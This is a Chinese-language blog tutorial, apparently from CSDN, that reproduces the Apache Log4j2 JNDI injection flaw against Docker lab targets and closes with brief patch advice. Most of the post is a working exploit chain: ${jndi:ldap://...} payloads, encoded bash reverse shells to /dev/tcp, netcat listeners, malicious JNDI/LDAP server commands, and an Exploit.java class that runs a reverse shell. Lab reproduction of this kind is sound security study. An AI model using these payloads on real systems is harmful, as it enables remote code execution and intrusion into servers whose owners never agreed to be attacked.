Apache Log4j2漏洞复现

港控/mmm° 2023-10-07 22:53 60阅读 0赞

### Apache log4j简介 ###

Log4j是[Apache][]的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是[控制台][Link 1]、文件、[GUI][]组件，甚至是套接口服务器、[NT][]的事件记录器、[UNIX][] [Syslog][][守护进程][Link 2]等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个[配置文件][Link 3]来灵活地进行配置，而不需要修改应用的代码。

**漏洞简介**

log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目 标服务器上执行任意代码。

**漏洞范围**

影响组件应用

> Apache Struts2  
> Apache Solr  
> Apache Druid  
> Apache Flink  
> srping-boot-strater-log4j2

影响log4j版本

Apache Log4j 2.0 ~ 2.15.0-rc1

攻击机：XXX.XXX.XXX.130

靶 机：XXX.XXX.XXX.152

### 漏洞复现一 ###

docker搭建靶场环境

> docker pull vulfocus/log4j2-rce-2021-12-09  
> docker run -d -ti -p 28080:8080 vulfocus/log4j2-rce-2021-12-09

![353f17fc2a7d4e888d47ed2928877c96.png][]

![022c17dfea92481594f33b8d2c57cdd7.png][]

访问靶场![94af727b3ef44aafba357c54cc8004d2.png][]

POC测试

http://172.16.115.152:8082/hello?payload=url

**url:使用burp地址：**  
![464fd1c672a74ceda94d95c41f27271a.png][]

![698256c53fc248719e73d37c85d6b763.png][]55882ehsxfw941fmrfwb3eq44valya.oastify.com  
对该域名进行url编码

${jndi:ldap://55882ehsxfw941fmrfwb3eq44valya.oastify.com}
    
    转码后：%24%7Bjndi%3Aldap%3A%2F%2F55882ehsxfw941fmrfwb3eq44valya.oastify.com%7D

使用burp抓包，写入以上代码![79ca9f6688014305a94e9163dd41270a.png][]

burp 收到结果  
![89628256a1764e2ea3961250a1961054.png][]  
  
exp测试  
  
1.下载JNDIExploit工具

https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2

2.使用JNDIExploit工具搭建恶意JNDI服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.115.130

#### ![1dd9f1e6142743159984a21207e0a61b.png][]      3.启动监听   nc -lvvp 8086      ![bb8c91008c854bcdbc59e398d8d3ed8b.png][]   4.构造EXP ####

> bash -i >& /dev/tcp/172.16.115.130/8086 0>&1  
> base64编码 :  
> YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA+JjE=
> 
> url编码:  
> YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D

#### ![c4c75d12240142f691e31c5d1da70085.png][]   得到反弹shell的EXP： ####

>     ${jndi:ldap://172.16.115.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%2BJjE%3D}
> 
> 对EXP进行URL编码：
> 
>     %24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg2IDA%252BJjE%253D%7D

#### ![11cab4afbcfe47479f513aa3fc630790.png][]   JNDI ####

JNDI(The Java Naming and Directory Interface，Java命名和目录接口)是一组在Java应用中访问命名 和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

> 可以访问以下命名/目录服务:
> 
> RMI (JAVA远程方法调用)  
> LDAP (轻量级目录访问协议)  
> CORBA (公共对象请求代理体系结构)
> 
> DNS (域名服务)

burp抓包，发送至repeater模块  
![60614fc83bb14bf5a037dfe05f8890b5.png][]  
  
发送Payload请求：将URL写入请求中  
![39d990bf7d474411b41effe0649472a2.png][]  
  
点击send发送  
![9e9f306dc2484278bc7dcca71a38824a.png][]  
  
ldap服务器接收到请求，并传输Payload  
![16ca6b1e80e04ffda4755a5cd93c2bb6.png][]  
  
收到反弹shell  
![ab41377f9a6f4408b218da61d234f04f.png][]

###  **漏洞复现二** ###

`vim docker-compose.yml #编写配置文件 写入以下代码：`

> version: '2'  
> services:  
> solr:  
> image: vulhub/solr:8.11.0  
> ports:  
> \- "8983:8983"

编译启动靶场

docker-compose up -d

![0301645d15de4c13ac2161c480055e7a.png][]![8dfa0f086687445f8bad73ec4c595d5d.png][]

访问靶场![2c8914d8ea5b400996d82b0bf24a7ed5.png][]

攻击机：XXX.XXX.XXX.130

靶 机：XXX.XXX.XXX.152

#### poc测试 ####

#### $\{jndi:ldap://$\{sys:java.version\}.xxxxxx\} \#红色部分使用burp地址 ####

将代码写入POC测试：

http://172.16.115.152:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.176b4a2qmgta1wqkld1rakfxjopfd4.oastify.com}

发送成功 ![2c44cbf710ed44c69fd81d385f2e14b5.png][]

burp收到返回结果，带出java版本![8dc18086e9bb459ab7e07efd30601689.png][]

#### Exp测试 ####

1.下载 JNDI-Injection-Exploit 工具

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

2.构造命令执行

bash -i >& /dev/tcp/172.16.115.130/8088 0>&1

java-runtime-exec转换:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}

3.打开监听

nc -lvvp 8088

4. 使用工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “command” -A address

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}” -A 172.16.115.130

使用JDK1.8的payload

![dba5fc2fb3d14c34b3e80de6800dbb4f.png][]

rmi://172.16.115.130:1099/nk7vbz

your-ip/solr/admin/cores?action=$\{jndi:rmi://172.16.115.130:1099/nk7vbz\}

![9646b4d8e72142278fee49fe1cfee14f.png][]

ldap://172.16.115.130:1389/nk7vbz

your-ip/solr/admin/cores?action=$\{jndi:ldap://172.16.115.130:1389/nk7vbz\}

![4c4fab78af3c4285b273b7f2e023a4e8.png][]

5.监听收到反弹shell

![eced5f15b4c54d8e8aa7625b3faf05e1.png][]

### 漏洞复现三 ###

1.编写恶意文件（靶机执行）

Exploit.java

\#bash -i >& /dev/tcp/172.16.115.130/8088 0>&1

\#bash编码后：YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=

# Exploit.java
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
         public Exploit(){
                 try{
                     Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84MDg4IDA+JjE=}|{base64,-d}|{bash,-i}");
                                    }catch(Exception e){
                                                e.printStackTrace();
                                                 }
                    }
             public static void main(String[] argv){
                             Exploit e = new Exploit();
                                }
    }

![1ee8c8de04bf4a45937bc44b228f6a03.png][]

2.编译文件（靶机执行）

![f40ff0e30056477ea94fe5cf58647913.png][]

3.开启http服务（靶机执行）

![6f6c19a919104f0189ce248c8ef6f56a.png][]

4.启动LDAP服务（攻击机执行）

使用工具：[https://github.com/RandomRobbieBF/marshalsec-jar][https_github.com_RandomRobbieBF_marshalsec-jar]

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://172.16.115.152:8000/#Exploit" 9000

![e3f447cc89f34945a989510d3f47c20c.png][]

5.监听端口 （攻击机执行）

![bac3be32d41a4829bcc7e4d40f4d484b.png][]

> $\{jndi:ldap://172.16.115.130:9000/Exploit\}
> 
> url编码：%24%7Bjndi%3Aldap%3A%2F%2F172.16.115.130%3A9000%2FExploit%7D

6.burp发送请求（攻击机执行）

![09f7928d94c4436e960cab2d58e8e499.png][]

![995bf9426a7a488485221ab7738b2e12.png][]

![3be36278d36048fb818c03147d136727.png][]

7.监听收到反弹shell

![d72f8ca683d045bbb7cd90e7d45fccf5.png][]

#### 漏洞修补建议 ####

通用修补建议

升级到最新版本 2.15.0-rc2 ：  
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

#### 临时修补建议 ####

1.设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。  
2.尽量使用JDK 版本大于11.0.1、8u191、7u201、6u211，需要注意的是，即使是使用了 JDK 高版  
本也不能完全保证安全，依然存在本地绕过的情况。  
3.限制不必要的业务访问外网。  
4.采用 rasp 对 lookup 的调用进行阻断。

[Apache]: https://baike.baidu.com/item/Apache/8512995?fromModule=lemma_inlink
[Link 1]: https://baike.baidu.com/item/%E6%8E%A7%E5%88%B6%E5%8F%B0/2438626?fromModule=lemma_inlink
[GUI]: https://baike.baidu.com/item/GUI?fromModule=lemma_inlink
[NT]: https://baike.baidu.com/item/NT/3443842?fromModule=lemma_inlink
[UNIX]: https://baike.baidu.com/item/UNIX?fromModule=lemma_inlink
[Syslog]: https://baike.baidu.com/item/Syslog?fromModule=lemma_inlink
[Link 2]: https://baike.baidu.com/item/%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B/966835?fromModule=lemma_inlink
[Link 3]: https://baike.baidu.com/item/%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6/286550?fromModule=lemma_inlink
[353f17fc2a7d4e888d47ed2928877c96.png]: https://img-blog.csdnimg.cn/353f17fc2a7d4e888d47ed2928877c96.png
[022c17dfea92481594f33b8d2c57cdd7.png]: https://img-blog.csdnimg.cn/022c17dfea92481594f33b8d2c57cdd7.png
[94af727b3ef44aafba357c54cc8004d2.png]: https://img-blog.csdnimg.cn/94af727b3ef44aafba357c54cc8004d2.png
[464fd1c672a74ceda94d95c41f27271a.png]: https://img-blog.csdnimg.cn/464fd1c672a74ceda94d95c41f27271a.png
[698256c53fc248719e73d37c85d6b763.png]: https://img-blog.csdnimg.cn/698256c53fc248719e73d37c85d6b763.png
[79ca9f6688014305a94e9163dd41270a.png]: https://img-blog.csdnimg.cn/79ca9f6688014305a94e9163dd41270a.png
[89628256a1764e2ea3961250a1961054.png]: https://img-blog.csdnimg.cn/89628256a1764e2ea3961250a1961054.png
[1dd9f1e6142743159984a21207e0a61b.png]: https://img-blog.csdnimg.cn/1dd9f1e6142743159984a21207e0a61b.png
[bb8c91008c854bcdbc59e398d8d3ed8b.png]: https://img-blog.csdnimg.cn/bb8c91008c854bcdbc59e398d8d3ed8b.png
[c4c75d12240142f691e31c5d1da70085.png]: https://img-blog.csdnimg.cn/c4c75d12240142f691e31c5d1da70085.png
[11cab4afbcfe47479f513aa3fc630790.png]: https://img-blog.csdnimg.cn/11cab4afbcfe47479f513aa3fc630790.png
[60614fc83bb14bf5a037dfe05f8890b5.png]: https://img-blog.csdnimg.cn/60614fc83bb14bf5a037dfe05f8890b5.png
[39d990bf7d474411b41effe0649472a2.png]: https://img-blog.csdnimg.cn/39d990bf7d474411b41effe0649472a2.png
[9e9f306dc2484278bc7dcca71a38824a.png]: https://img-blog.csdnimg.cn/9e9f306dc2484278bc7dcca71a38824a.png
[16ca6b1e80e04ffda4755a5cd93c2bb6.png]: https://img-blog.csdnimg.cn/16ca6b1e80e04ffda4755a5cd93c2bb6.png
[ab41377f9a6f4408b218da61d234f04f.png]: https://img-blog.csdnimg.cn/ab41377f9a6f4408b218da61d234f04f.png
[0301645d15de4c13ac2161c480055e7a.png]: https://img-blog.csdnimg.cn/0301645d15de4c13ac2161c480055e7a.png
[8dfa0f086687445f8bad73ec4c595d5d.png]: https://img-blog.csdnimg.cn/8dfa0f086687445f8bad73ec4c595d5d.png
[2c8914d8ea5b400996d82b0bf24a7ed5.png]: https://img-blog.csdnimg.cn/2c8914d8ea5b400996d82b0bf24a7ed5.png
[2c44cbf710ed44c69fd81d385f2e14b5.png]: https://img-blog.csdnimg.cn/2c44cbf710ed44c69fd81d385f2e14b5.png
[8dc18086e9bb459ab7e07efd30601689.png]: https://img-blog.csdnimg.cn/8dc18086e9bb459ab7e07efd30601689.png
[dba5fc2fb3d14c34b3e80de6800dbb4f.png]: https://img-blog.csdnimg.cn/dba5fc2fb3d14c34b3e80de6800dbb4f.png
[9646b4d8e72142278fee49fe1cfee14f.png]: https://img-blog.csdnimg.cn/9646b4d8e72142278fee49fe1cfee14f.png
[4c4fab78af3c4285b273b7f2e023a4e8.png]: https://img-blog.csdnimg.cn/4c4fab78af3c4285b273b7f2e023a4e8.png
[eced5f15b4c54d8e8aa7625b3faf05e1.png]: https://img-blog.csdnimg.cn/eced5f15b4c54d8e8aa7625b3faf05e1.png
[1ee8c8de04bf4a45937bc44b228f6a03.png]: https://img-blog.csdnimg.cn/1ee8c8de04bf4a45937bc44b228f6a03.png
[f40ff0e30056477ea94fe5cf58647913.png]: https://img-blog.csdnimg.cn/f40ff0e30056477ea94fe5cf58647913.png
[6f6c19a919104f0189ce248c8ef6f56a.png]: https://img-blog.csdnimg.cn/6f6c19a919104f0189ce248c8ef6f56a.png
[https_github.com_RandomRobbieBF_marshalsec-jar]: https://github.com/RandomRobbieBF/marshalsec-jar
[e3f447cc89f34945a989510d3f47c20c.png]: https://img-blog.csdnimg.cn/e3f447cc89f34945a989510d3f47c20c.png
[bac3be32d41a4829bcc7e4d40f4d484b.png]: https://img-blog.csdnimg.cn/bac3be32d41a4829bcc7e4d40f4d484b.png
[09f7928d94c4436e960cab2d58e8e499.png]: https://img-blog.csdnimg.cn/09f7928d94c4436e960cab2d58e8e499.png
[995bf9426a7a488485221ab7738b2e12.png]: https://img-blog.csdnimg.cn/995bf9426a7a488485221ab7738b2e12.png
[3be36278d36048fb818c03147d136727.png]: https://img-blog.csdnimg.cn/3be36278d36048fb818c03147d136727.png
[d72f8ca683d045bbb7cd90e7d45fccf5.png]: https://img-blog.csdnimg.cn/d72f8ca683d045bbb7cd90e7d45fccf5.png